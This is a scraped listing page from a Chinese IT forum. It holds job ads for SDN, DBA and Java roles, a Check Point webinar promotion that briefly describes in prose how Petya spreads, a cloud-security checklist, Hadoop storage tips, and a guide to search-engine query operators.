互联网资讯

互联网资讯

SDN开发工程师招聘

求职招聘信息savage_yang 发表了文章 • 0 个评论 • 231 次浏览 • 2017-08-17 18:09 • 来自相关话题

公司名:深圳某智能计算科技有限公司
职位:SDN开发工程师
薪资:20K-30K/月
岗位职责:
1、承担SDN交换机软件开发(基于DPDK和OVS开发),性能优化。
2、负责软件代码编写,能够独立完成软件模块的编码、测试等工作。参与技术攻关,协助解决各种编程难题。
3、负责软件开发文档编写,配合测试人员完成系统测试及改进工作。
4、参与市场开局的技术支持。
任职要求:
1、具有全日制本科及以上学历。
2、计算机、通信、信息系统等相关专业。
3、三年以上前后端软件开发经验,熟练掌握C/C++,Java等前后端编程语言。
4、熟悉或者了解二、三层路由交换原理,TCP/IP协议,有数通产品开发经验优先。
5、精通 SDN相关技术:Openflow协议,Openvswitch的原理和实现,DPDK技术原理。
 
有意思者可以加我微信:
18502322670 查看全部
公司名:深圳某智能计算科技有限公司
职位:SDN开发工程师
薪资:20K-30K/月
岗位职责:
1、承担SDN交换机软件开发(基于DPDK和OVS开发),性能优化。
2、负责软件代码编写,能够独立完成软件模块的编码、测试等工作。参与技术攻关,协助解决各种编程难题。
3、负责软件开发文档编写,配合测试人员完成系统测试及改进工作。
4、参与市场开局的技术支持。
任职要求:
1、具有全日制本科及以上学历。
2、计算机、通信、信息系统等相关专业。
3、三年以上前后端软件开发经验,熟练掌握C/C++,Java等前后端编程语言。
4、熟悉或者了解二、三层路由交换原理,TCP/IP协议,有数通产品开发经验优先。
5、精通 SDN相关技术:Openflow协议,Openvswitch的原理和实现,DPDK技术原理。
 
有意思者可以加我微信:
18502322670

对付勒索病毒,Check Point有秘密武器

互联网资讯OT学习平台 发表了文章 • 0 个评论 • 318 次浏览 • 2017-07-17 15:57 • 来自相关话题

WannaCry的阴云还未散去,Petya就已经迫不及待的出现在人们视线之中, 6月27日东欧地区又爆发了新一轮的勒索软件(Petya)攻击事件,受灾最严重的当属乌克兰,大量的政府机构,私人企业遭到了勒索病毒的攻击。
Petya不是一个真正意义上的勒索病毒,但是其破坏力比之之前的Wanncry更加可怕,Petya不只是锁定特定文件,而是直接对磁盘的MBR下手,篡改MBR导致整个磁盘无法访问。具体来说就是Petya并不加密MBR用于后续的勒索,而是直接破坏前25个扇区,当硬盘的MBR损坏之后,计算机就无法再检索驱动器上的数据了。
而且Petya传播方式利用“永恒之蓝”和“永恒之岩”两个漏洞,这就导致了它可以通过内网渗透使用系统的WMIC和Sysinternals的PsExec传播,所以即便电脑修复“永恒之蓝”漏洞,只要内网有中毒电脑,仍有被感染的危险。
面对目前安全运维管理中存在的问题, Check Point独立安全产品解决方案将助您一臂之力。
7月25日14:00,Check Point与OTPUB直播平台携手举办的主题为“安全管理的未来发展趋势”直播活动,届时,Check Point资深网络安全顾问谭云老师,将对CheckPoint下一代安全管理体系进行详细阐述,为您打开安全管理的未来发展趋势。Check Point还将免费提供一次Securiy Check Up。抓紧时间预约活动报名。
 
点击此处预约报名>>> 查看全部
WannaCry的阴云还未散去,Petya就已经迫不及待的出现在人们视线之中, 6月27日东欧地区又爆发了新一轮的勒索软件(Petya)攻击事件,受灾最严重的当属乌克兰,大量的政府机构,私人企业遭到了勒索病毒的攻击。
Petya不是一个真正意义上的勒索病毒,但是其破坏力比之之前的Wanncry更加可怕,Petya不只是锁定特定文件,而是直接对磁盘的MBR下手,篡改MBR导致整个磁盘无法访问。具体来说就是Petya并不加密MBR用于后续的勒索,而是直接破坏前25个扇区,当硬盘的MBR损坏之后,计算机就无法再检索驱动器上的数据了。
而且Petya传播方式利用“永恒之蓝”和“永恒之岩”两个漏洞,这就导致了它可以通过内网渗透使用系统的WMIC和Sysinternals的PsExec传播,所以即便电脑修复“永恒之蓝”漏洞,只要内网有中毒电脑,仍有被感染的危险。
面对目前安全运维管理中存在的问题, Check Point独立安全产品解决方案将助您一臂之力。
7月25日14:00,Check Point与OTPUB直播平台携手举办的主题为“安全管理的未来发展趋势”直播活动,届时,Check Point资深网络安全顾问谭云老师,将对CheckPoint下一代安全管理体系进行详细阐述,为您打开安全管理的未来发展趋势。Check Point还将免费提供一次Securiy Check Up。抓紧时间预约活动报名。
 
点击此处预约报名>>>

云安全事故频发,如何应对

大数据/云计算OT学习平台 发表了文章 • 0 个评论 • 311 次浏览 • 2017-04-14 14:44 • 来自相关话题

随着云计算、虚拟化等技术的飞速发展,数据中心向虚拟化、云存储已成大势,有专家预测,未来90%的大型企业、政府机构等都将使用虚拟化。在这一过程中,数据中心所面临的安全风险也在发生着演进与变化。虚拟化数据中心面临比传统数据中心更大的安全挑战。服务器虚拟化在带来种种好处的基础上也引入了新的安全威胁,如虚拟机之间的互相攻击,随时启动的防护间歇等。企业必须考虑各种潜在的威胁,然后才能迁移到云模型上。下面是几个企业应该注意的云安全问题:

谁有访问权限?
访问控制确实是一个问题。云身份认证是如何管理的?内部人员攻击是一种持续威胁。任何获得云平台访问权限的人都有可能成为潜在的问题。举一个例子:有一名员工可能离职或被辞退,结果他或她是唯一有访问密码的人。或者说,或许这一名员工是唯一一位负责给云提供商支付费用的人。你必须知道谁有访问权限,他或她是如何交接工作的,以及访问权限是如何中止的?
你是否有审计权限?
这个问题并不是小问题,相反是其中一个最重要的云安全问题。云提供商可能同意在书面上遵守一个审计标准;但是,对于审计人员和评估人员而言,想要评估云计算是否符合法规要求,已经被证明是一件越来越难完成和验证的工作。在IT要面对的诸多法规中,几乎没有专门针对云计算的。审计人员和评估人员可能还不熟悉云计算,也不熟悉某个特定的云服务。
云提供商给员工提供了哪一些培训?
这确实是一个非常值得注意的问题,因为人们在安全面前总是弱势群体。了解云服务商提供了哪些培训。大多数攻击都同时包含技术因素和社会因素。云服务商应该采用措施处理各种来源的社会攻击,包括电子邮件、恶意链接、电话及其他方式,它们都应该在出现在培训和认知项目中。
是否使用了加密手段?
加密手段也应该在考虑范围内。原始数据是否允许离开企业,或者它们应该留在内部,才能符合法规要求?数据在静止和或移动过程中,是否加密?此外,你还应该了解其中所使用的加密类型。要保证自己知道是谁在保管密钥,然后再签合约。加密手段一定要出现在云安全问题清单中。
你的数据与其他人的数据是如何分隔的?
数据位于一台共享服务器还是一个专用系统中?如果使用一个专用服务器,则意味着服务器上只有你的信息。如果在一台共享服务器上,则磁盘空间、处理能力、带宽等资源都是有限的,因为还有其他人一起共享这个设备。你需要确定自己是需要私有云还是公有云,以及谁在管理服务器。如果是共享服务器,那么数据就有可能和其他数据混在一起。
提供商的长期可用性体现有什么保障?
云服务商开展这个业务有多长时间了?过往的业务表现如何?如果它在这个业务上出现问题,你的数据会面临什么问题?是否会以原始格式交回给你?
如果出现安全漏洞会有什么应对措施?
如果发生了安全事故,你可以从云服务商获得哪些支持?虽然许多提供商都宣称自己的服务是万无一失的,但是基于云的服务是极其容易受到黑客攻击的。侧向通道、会话劫持、跨站脚本和分布式拒绝服务等攻击都是云数据经常遇到的攻击方式。
根据预测,未来三年有80%以上的数据中心流量将来自云服务。这意味着,即使你现在还没有做好云迁移,那么到2020年前你也会这样做的。所以,要用这一段时间保证自己采用正确的迁移方法。要提前定义合同要求,然后不能只是复制原来用于本地环境的安全策略。相反,要从迁移的角度去改进它。
OTPUB直播活动又双叒叕来喽!
直播主题
Excel的“天上人间”-“出台”到PPT的动态图表
直播时间
2017年4月25日 14:00-15:00
点击参与报名>>> 查看全部
随着云计算、虚拟化等技术的飞速发展,数据中心向虚拟化、云存储已成大势,有专家预测,未来90%的大型企业、政府机构等都将使用虚拟化。在这一过程中,数据中心所面临的安全风险也在发生着演进与变化。虚拟化数据中心面临比传统数据中心更大的安全挑战。服务器虚拟化在带来种种好处的基础上也引入了新的安全威胁,如虚拟机之间的互相攻击,随时启动的防护间歇等。企业必须考虑各种潜在的威胁,然后才能迁移到云模型上。下面是几个企业应该注意的云安全问题:

谁有访问权限?
访问控制确实是一个问题。云身份认证是如何管理的?内部人员攻击是一种持续威胁。任何获得云平台访问权限的人都有可能成为潜在的问题。举一个例子:有一名员工可能离职或被辞退,结果他或她是唯一有访问密码的人。或者说,或许这一名员工是唯一一位负责给云提供商支付费用的人。你必须知道谁有访问权限,他或她是如何交接工作的,以及访问权限是如何中止的?
你是否有审计权限?
这个问题并不是小问题,相反是其中一个最重要的云安全问题。云提供商可能同意在书面上遵守一个审计标准;但是,对于审计人员和评估人员而言,想要评估云计算是否符合法规要求,已经被证明是一件越来越难完成和验证的工作。在IT要面对的诸多法规中,几乎没有专门针对云计算的。审计人员和评估人员可能还不熟悉云计算,也不熟悉某个特定的云服务。
云提供商给员工提供了哪一些培训?
这确实是一个非常值得注意的问题,因为人们在安全面前总是弱势群体。了解云服务商提供了哪些培训。大多数攻击都同时包含技术因素和社会因素。云服务商应该采用措施处理各种来源的社会攻击,包括电子邮件、恶意链接、电话及其他方式,它们都应该在出现在培训和认知项目中。
是否使用了加密手段?
加密手段也应该在考虑范围内。原始数据是否允许离开企业,或者它们应该留在内部,才能符合法规要求?数据在静止和或移动过程中,是否加密?此外,你还应该了解其中所使用的加密类型。要保证自己知道是谁在保管密钥,然后再签合约。加密手段一定要出现在云安全问题清单中。
你的数据与其他人的数据是如何分隔的?
数据位于一台共享服务器还是一个专用系统中?如果使用一个专用服务器,则意味着服务器上只有你的信息。如果在一台共享服务器上,则磁盘空间、处理能力、带宽等资源都是有限的,因为还有其他人一起共享这个设备。你需要确定自己是需要私有云还是公有云,以及谁在管理服务器。如果是共享服务器,那么数据就有可能和其他数据混在一起。
提供商的长期可用性体现有什么保障?
云服务商开展这个业务有多长时间了?过往的业务表现如何?如果它在这个业务上出现问题,你的数据会面临什么问题?是否会以原始格式交回给你?
如果出现安全漏洞会有什么应对措施?
如果发生了安全事故,你可以从云服务商获得哪些支持?虽然许多提供商都宣称自己的服务是万无一失的,但是基于云的服务是极其容易受到黑客攻击的。侧向通道、会话劫持、跨站脚本和分布式拒绝服务等攻击都是云数据经常遇到的攻击方式。
根据预测,未来三年有80%以上的数据中心流量将来自云服务。这意味着,即使你现在还没有做好云迁移,那么到2020年前你也会这样做的。所以,要用这一段时间保证自己采用正确的迁移方法。要提前定义合同要求,然后不能只是复制原来用于本地环境的安全策略。相反,要从迁移的角度去改进它。
OTPUB直播活动又双叒叕来喽!
直播主题
Excel的“天上人间”-“出台”到PPT的动态图表
直播时间
2017年4月25日 14:00-15:00
点击参与报名>>>

Hadoop环境中管理大数据存储技巧

大数据/云计算OT学习平台 发表了文章 • 0 个评论 • 407 次浏览 • 2017-04-12 15:03 • 来自相关话题

Hadoop环境中管理大数据存储八大技巧
目前大数据行业也越来越火爆,从而导致国内大数据人才也极度缺乏,下面介绍一下关于Hadoop环境中管理大数据存储技巧。

在现如今,随着IT互联网信息技术的飞速发展和进步。目前大数据行业也越来越火爆,从而导致国内大数据人才也极度缺乏,下面介绍一下关于Hadoop环境中管理大数据存储技巧。
1、分布式存储
传统化集中式存储存在已有一段时间。但大数据并非真的适合集中式存储架构。Hadoop设计用于将计算更接近数据节点,同时采用了HDFS文件系统的大规模横向扩展功能。
虽然,通常解决Hadoop管理自身数据低效性的方案是将Hadoop数据存储在SAN上。但这也造成了它自身性能与规模的瓶颈。现在,如果你把所有的数据都通过集中式SAN处理器进行处理,与Hadoop的分布式和并行化特性相悖。你要么针对不同的数据节点管理多个SAN,要么将所有的数据节点都集中到一个SAN。
但Hadoop是一个分布式应用,就应该运行在分布式存储上,这样存储就保留了与Hadoop本身同样的灵活性,不过它也要求拥抱一个软件定义存储方案,并在商用服务器上运行,这相比瓶颈化的Hadoop自然更为高效。
2、超融合VS分布式
注意,不要混淆超融合与分布式。某些超融合方案是分布式存储,但通常这个术语意味着你的应用和存储都保存在同一计算节点上。这是在试图解决数据本地化的问题,但它会造成太多资源争用。这个Hadoop应用和存储平台会争用相同的内存和CPU。Hadoop运行在专有应用层,分布式存储运行在专有存储层这样会更好。之后,利用缓存和分层来解决数据本地化并补偿网络性能损失。
3、避免控制器瓶颈(ControllerChokePoint)
实现目标的一个重要方面就是——避免通过单个点例如一个传统控制器来处理数据。反之,要确保存储平台并行化,性能可以得到显著提升。
此外,这个方案提供了增量扩展性。为数据湖添加功能跟往里面扔x86服务器一样简单。一个分布式存储平台如有需要将自动添加功能并重新调整数据。
4、删重和压缩
掌握大数据的关键是删重和压缩技术。通常大数据集内会有70%到90%的数据简化。以PB容量计,能节约数万美元的磁盘成本。现代平台提供内联(对比后期处理)删重和压缩,大大降低了存储数据所需能力。
5、合并Hadoop发行版
很多大型企业拥有多个Hadoop发行版本。可能是开发者需要或是企业部门已经适应了不同版本。无论如何最终往往要对这些集群的维护与运营。一旦海量数据真正开始影响一家企业时,多个Hadoop发行版存储就会导致低效性。我们可以通过创建一个单一,可删重和压缩的数据湖获取数据效率
6、虚拟化Hadoop
虚拟化已经席卷企业级市场。很多地区超过80%的物理服务器现在是虚拟化的。但也仍有很多企业因为性能和数据本地化问题对虚拟化Hadoop避而不谈。
7、创建弹性数据湖
创建数据湖并不容易,但大数据存储可能会有需求。我们有很多种方法来做这件事,但哪一种是正确的?这个正确的架构应该是一个动态,弹性的数据湖,可以以多种格式(架构化,非结构化,半结构化)存储所有资源的数据。更重要的是,它必须支持应用不在远程资源上而是在本地数据资源上执行。
不幸的是,传统架构和应用(也就是非分布式)并不尽如人意。随着数据集越来越大,将应用迁移到数据不可避免,而因为延迟太长也无法倒置。
理想的数据湖基础架构会实现数据单一副本的存储,而且有应用在单一数据资源上执行,无需迁移数据或制作副本。
8、整合分析
分析并不是一个新功能,它已经在传统RDBMS环境中存在多年。不同的是基于开源应用的出现,以及数据库表单和社交媒体,非结构化数据资源(比如,维基百科)的整合能力。关键在于将多个数据类型和格式整合成一个标准的能力,有利于更轻松和一致地实现可视化与报告制作。合适的工具也对分析/商业智能项目的成功至关重要。
OTPUB直播活动又双叒叕来喽!
直播主题
甲骨文第2代企业级IaaS云技术大会
直播时间
2017年4月13日 9:30-17:30
点击参与报名>>>
 
或者直接进入OTPUB官网
http://www.otpub.com/ 查看全部
Hadoop环境中管理大数据存储八大技巧
目前大数据行业也越来越火爆,从而导致国内大数据人才也极度缺乏,下面介绍一下关于Hadoop环境中管理大数据存储技巧。

在现如今,随着IT互联网信息技术的飞速发展和进步。目前大数据行业也越来越火爆,从而导致国内大数据人才也极度缺乏,下面介绍一下关于Hadoop环境中管理大数据存储技巧。
1、分布式存储
传统化集中式存储存在已有一段时间。但大数据并非真的适合集中式存储架构。Hadoop设计用于将计算更接近数据节点,同时采用了HDFS文件系统的大规模横向扩展功能。
虽然,通常解决Hadoop管理自身数据低效性的方案是将Hadoop数据存储在SAN上。但这也造成了它自身性能与规模的瓶颈。现在,如果你把所有的数据都通过集中式SAN处理器进行处理,与Hadoop的分布式和并行化特性相悖。你要么针对不同的数据节点管理多个SAN,要么将所有的数据节点都集中到一个SAN。
但Hadoop是一个分布式应用,就应该运行在分布式存储上,这样存储就保留了与Hadoop本身同样的灵活性,不过它也要求拥抱一个软件定义存储方案,并在商用服务器上运行,这相比瓶颈化的Hadoop自然更为高效。
2、超融合VS分布式
注意,不要混淆超融合与分布式。某些超融合方案是分布式存储,但通常这个术语意味着你的应用和存储都保存在同一计算节点上。这是在试图解决数据本地化的问题,但它会造成太多资源争用。这个Hadoop应用和存储平台会争用相同的内存和CPU。Hadoop运行在专有应用层,分布式存储运行在专有存储层这样会更好。之后,利用缓存和分层来解决数据本地化并补偿网络性能损失。
3、避免控制器瓶颈(ControllerChokePoint)
实现目标的一个重要方面就是——避免通过单个点例如一个传统控制器来处理数据。反之,要确保存储平台并行化,性能可以得到显著提升。
此外,这个方案提供了增量扩展性。为数据湖添加功能跟往里面扔x86服务器一样简单。一个分布式存储平台如有需要将自动添加功能并重新调整数据。
4、删重和压缩
掌握大数据的关键是删重和压缩技术。通常大数据集内会有70%到90%的数据简化。以PB容量计,能节约数万美元的磁盘成本。现代平台提供内联(对比后期处理)删重和压缩,大大降低了存储数据所需能力。
5、合并Hadoop发行版
很多大型企业拥有多个Hadoop发行版本。可能是开发者需要或是企业部门已经适应了不同版本。无论如何最终往往要对这些集群的维护与运营。一旦海量数据真正开始影响一家企业时,多个Hadoop发行版存储就会导致低效性。我们可以通过创建一个单一,可删重和压缩的数据湖获取数据效率
6、虚拟化Hadoop
虚拟化已经席卷企业级市场。很多地区超过80%的物理服务器现在是虚拟化的。但也仍有很多企业因为性能和数据本地化问题对虚拟化Hadoop避而不谈。
7、创建弹性数据湖
创建数据湖并不容易,但大数据存储可能会有需求。我们有很多种方法来做这件事,但哪一种是正确的?这个正确的架构应该是一个动态,弹性的数据湖,可以以多种格式(架构化,非结构化,半结构化)存储所有资源的数据。更重要的是,它必须支持应用不在远程资源上而是在本地数据资源上执行。
不幸的是,传统架构和应用(也就是非分布式)并不尽如人意。随着数据集越来越大,将应用迁移到数据不可避免,而因为延迟太长也无法倒置。
理想的数据湖基础架构会实现数据单一副本的存储,而且有应用在单一数据资源上执行,无需迁移数据或制作副本。
8、整合分析
分析并不是一个新功能,它已经在传统RDBMS环境中存在多年。不同的是基于开源应用的出现,以及数据库表单和社交媒体,非结构化数据资源(比如,维基百科)的整合能力。关键在于将多个数据类型和格式整合成一个标准的能力,有利于更轻松和一致地实现可视化与报告制作。合适的工具也对分析/商业智能项目的成功至关重要。
OTPUB直播活动又双叒叕来喽!
直播主题
甲骨文第2代企业级IaaS云技术大会
直播时间
2017年4月13日 9:30-17:30
点击参与报名>>>

 
或者直接进入OTPUB官网
http://www.otpub.com/

热璞科技大跃进-招人了

求职招聘信息OpenSkill 发表了文章 • 0 个评论 • 346 次浏览 • 2017-04-11 10:49 • 来自相关话题

MySQL DBA:
岗位名称:MySQL DBA(薪资:15-35K)

岗位要求:
1、五年以上Oracle DBA(至少一年MySQL DBA) 或三年以上MySQL DBA的实战经验
2、了解MySQL数据库的运行机制和架构体系
3、熟悉MySQL数据库基本调优,了解MySQL数据库内存与I/O机制
4、熟悉MySQL数据库数据同步的异步、半同步、Group Replication等基本原理
5、至少熟练一门脚本编程语言或JAVA编程语言
6、至少掌握业界中的mysqlslap、sysbench、tpcc-c等两种以上性能压测工具
7、有Cobar、Amoeba、MyCAT使用经历者优先
8.具备良好的团队合作能力及沟通协调能力,工作主动、积极,责任心强和自学能力较强。


高级JAVA程师:
岗位名称:高级JAVA程师(分布式数据库中间件研究)

薪资:15k-35k

岗位要求:
1、专科以上学历,三年及以上Java软件开发项目工作经验。
2、熟悉JVM内存管理、类加载机制等,掌握Java系统的故障排查和性能调优。
3、熟悉多线程、NIO、Socket编程。
4、熟练掌握MySQL数据库特性。
5、熟悉Cobar、Mycat、TDDL等数据库中间件者优先考虑。

 
更多信息:
公司招纳人才:(公司简介:专注于研发数据库中间件和私有云数据 架构设计与部署实施的一站式服务公司)

招聘岗位:
(1)、java高级软件工程师(2名)(年限:3年以上;薪资:15k-25k)
(2)、java高级工程师(数据库中间件研发方向)(年限:5年以上;薪资(15k-30k)
(3)、MySQL DBA (年限:5年以上;薪资:15k-35k)
(4)、架构咨询师 (年限:5年以上;薪资:15k-35k)
(5)、产品经理PM (年限:4年以上;薪资:15k-25k; 懂pass平台经验)

来撩我QQ:1793564171  简历投递邮箱:job@hotpu.cn
工作地点:上海闵行区10号线龙柏新村站  查看全部
MySQL DBA:
岗位名称:MySQL DBA(薪资:15-35K)

岗位要求:
1、五年以上Oracle DBA(至少一年MySQL DBA) 或三年以上MySQL DBA的实战经验
2、了解MySQL数据库的运行机制和架构体系
3、熟悉MySQL数据库基本调优,了解MySQL数据库内存与I/O机制
4、熟悉MySQL数据库数据同步的异步、半同步、Group Replication等基本原理
5、至少熟练一门脚本编程语言或JAVA编程语言
6、至少掌握业界中的mysqlslap、sysbench、tpcc-c等两种以上性能压测工具
7、有Cobar、Amoeba、MyCAT使用经历者优先
8.具备良好的团队合作能力及沟通协调能力,工作主动、积极,责任心强和自学能力较强。


高级JAVA程师:
岗位名称:高级JAVA程师(分布式数据库中间件研究)

薪资:15k-35k

岗位要求:
1、专科以上学历,三年及以上Java软件开发项目工作经验。
2、熟悉JVM内存管理、类加载机制等,掌握Java系统的故障排查和性能调优。
3、熟悉多线程、NIO、Socket编程。
4、熟练掌握MySQL数据库特性。
5、熟悉Cobar、Mycat、TDDL等数据库中间件者优先考虑。

 
更多信息:
公司招纳人才:(公司简介:专注于研发数据库中间件和私有云数据 架构设计与部署实施的一站式服务公司)

招聘岗位:
(1)、java高级软件工程师(2名)(年限:3年以上;薪资:15k-25k)
(2)、java高级工程师(数据库中间件研发方向)(年限:5年以上;薪资(15k-30k)
(3)、MySQL DBA (年限:5年以上;薪资:15k-35k)
(4)、架构咨询师 (年限:5年以上;薪资:15k-35k)
(5)、产品经理PM (年限:4年以上;薪资:15k-25k; 懂pass平台经验)


来撩我QQ:1793564171  简历投递邮箱:job@hotpu.cn
工作地点:上海闵行区10号线龙柏新村站 


搜索引擎科学上网技能大放送

运维技术Nock 发表了文章 • 0 个评论 • 931 次浏览 • 2017-01-13 00:06 • 来自相关话题

在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。

常用引擎推荐

No.1 谷歌(https://google.com)




No.2 百度 (https://www.baidu.com/)




No.3 鸭鸭快跑 (https://duckduckgo.com/)




No.4 必应 (http://cn.bing.com/ )




No.5 搜狗 (https://www.sogou.com/)





排错搜索过程






1、准确搜索

最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。





2、加号

在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。





3、减号-排除关键词

如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。





4、OR或逻辑搜索

在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。





5、同义词搜索​

有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。





6、善用星号

正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:





7、在两个数值之间进行搜索

在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。





8、inurl  

该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop





9、intitle在网页标题、链接和主体中搜索关键词

有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
使用intitle 指令找到的文件更为准确。出现在title中,说明页面内容跟关键字有很大关联。





10、allintitle

allintitle:搜索返回的是页面标题中包含多组关键词的文件。例如 :allintitle:zabbix docker,就相当于:intitle:zabbix intitle:docker,返回的是标题中中既包含“zabbix”,也包含“docker”的页面,显著提高搜索命中率。





11、allinurl

与allintitle: 类似,allinurl:zabbix hadoop,就相当于 :inurl:zabbix inurl:hadoop 





12、site站内搜索

绝大部分网站的搜索功能都有所欠缺,因此,更好的方法是通过 Google 等搜索引擎对站内的信息进行搜索。

你只需要在搜索引擎上输入「site:openskill.cn」加上关键词,搜索引擎就会反馈网站「openskill.cn」内和关键词相关的所有条目。如果再结合准确搜索功能,这项功能将会变得更加强大。





13、filetype

用于搜索特定文件格式。Google 和bd都支持filetype指令。 比如搜索filetype:pdf docker 返回的就是包含SEO 这个关键词的所有pdf 文件。 





14、搜索相关网站

查找与您已浏览过的网址类似的网站, 例如,你仅需在搜索引擎中输入「related:openskill.cn」即可得到所有和「openskill.cn」相关的网站反馈结果。





15、搜索技能的组合使用

你可以对上述所有搜索技能进行组合运用,以便按照自己的意愿缩小或者扩展搜索范围。尽管有些技能或许并不常用,但准确搜索和站内搜索这些技能的使用范围还是相当广泛的。





其他技巧





随着 Google 等搜索引擎对于用户自然语言的理解程度与日俱增,这些搜索技能可以派上用场的情况或许将会变得越来越少,至少这是所有搜索引擎共同追求的目标。但是在当下,掌握这些搜索技能还是非常必要的。

参考:http://www.cnblogs.com/feiyuhuo/p/5398238.html http://blog.jobbole.com/72211/  查看全部
在今天,用户可以通过搜索引擎轻松找出自己想要的信息,但还是难以避免结果不尽如人意的情况。实际上,用户仅需掌握几个常用技巧即可轻松化解这种尴尬。
 
正常情况下我们搜索的关键是正确的关键词和搜搜引擎的选择,通过正确的搜索我们能得到答案的问题可以到80%以上。


常用引擎推荐


No.1 谷歌https://google.com
google.png

No.2 百度https://www.baidu.com/
baidu.png

No.3 鸭鸭快跑 (https://duckduckgo.com/
duckduckgo.png

No.4 必应 (http://cn.bing.com/ )
bing.png

No.5 搜狗 (https://www.sogou.com/)
sogou.png


排错搜索过程


soerror.png


1、准确搜索


最简单、有效的准确搜索方式是在关键词上加上双引号,在这种情况下,搜索引擎只会反馈和关键词完全吻合的搜索结果, 把搜索词放在双引号中,代表完全匹配搜索,也就是说搜索结果返回的页面包含双引号中出现的所有的词,连顺序也必 须完全匹配.

比方说在搜索「zabbix mysql」的时候,在没有给关键词加上双引号的情况,搜索引擎会显示所有分别和「zabbix」以及「mysql」相关的信息,但这些显然并不是我们想要的结果。但在加上双引号后,搜索引擎则仅会在页面上反馈和「zabbix mysql」相吻合的信息。

准确搜索在排除常见但相近度偏低的信息时非常有用,可以为用户省去再度对结果进行筛选的麻烦。
yinhao.png


2、加号


在搜索引擎框里把多个关键字用加号(+)连接起来,搜索引擎就会自动去匹配互联网上与所有关键词相关的内容,默认与 空格等效,百度和Google都支持。
open-source-tech.png


3、减号-排除关键词


如果在进行准确搜索时没有找到自己想要的结果,用户可以对包含特定词汇的信息进行排除,仅需使用减号即可。

减号代表搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词 。
jianhao.png


4、OR或逻辑搜索


在默认搜索下,搜索引擎会反馈所有和查询词汇相关的结果,但通过使用「OR」逻辑,你可以得到和两个关键词分别相关的结果,而不仅仅是和两个关键词 都同时相关的结果。巧妙使用「OR」搜索可以让你在未能确定哪个关键词对于搜索结果起决定作用时依然可以确保搜索结果的准确性。
orlink.png


5、同义词搜索​


有时候对不太确切的关键词进行搜索反而会显得更加合适。在未能准确判断关键词的情况下,你可以通过同义词进行搜索。

如果你在搜索引擎输入「plumbing ~university」,你所得到的反馈结果会包含「plumbing universities」和「plumbing colleges」等相似条目。
daxue.png


6、善用星号


正如拼图游戏「Scrabble」的空白方块一样,在搜索引擎中,我们可以用星号填补关键词中的缺失部分,不论缺失的是一连串单词的其中一个还是一个单词的某一部分。此外,当你希望搜索一篇确定性偏低的文章时,也可以使用星号填补缺失部分。

例如,如果你在搜索引擎中输入「architect*」,你所得到的反馈结果将会是所有包含 architect、architectural、architecture、architected、architecting 以及其他所有以「architect」作为开头的词汇的条目。

常用的案例:搜索报错中的特定路径 , 有个词忘记了或者不会打:
xinhao.png


7、在两个数值之间进行搜索


在寻找问题的答案时,一个很好的方法是在一定范围内寻找和关键词相关的资讯。例如想要找出 1920 至 1950 年间的英国首相,直接在搜索引擎中输入「英国首相 1920.. 1950」即可得出想要的结果。

记住,数值之间的符号是两个英文句号加一个空格键。
kingdom.png


8、inurl  


该指令用于搜索查询词出现在url中的页面。BaiDu和Google都支持inurl指令。inurl指令支持中文和英文。 比如搜索:inurl:hadoop,返回的结果都是网址url中包含“hadoop”的页面。由于关键词出现在url 中对排名有一定影响,使用inurl:搜索可以更准确地找到与关键字相关的内容。
 
例如:inurl:openskill hadoop
inurl.png


9、intitle在网页标题、链接和主体中搜索关键词


有时你或许会遇上找出所有和关键词相关的所有网页标题、链接和网页主体的需求,在这个时候你需要使用的是限定词「inurl:」(供在 url 链接中搜索使用)、「intext:」(供在网页主体中搜索使用)以及「intitle:」(供在网页标题中搜索使用)。
 
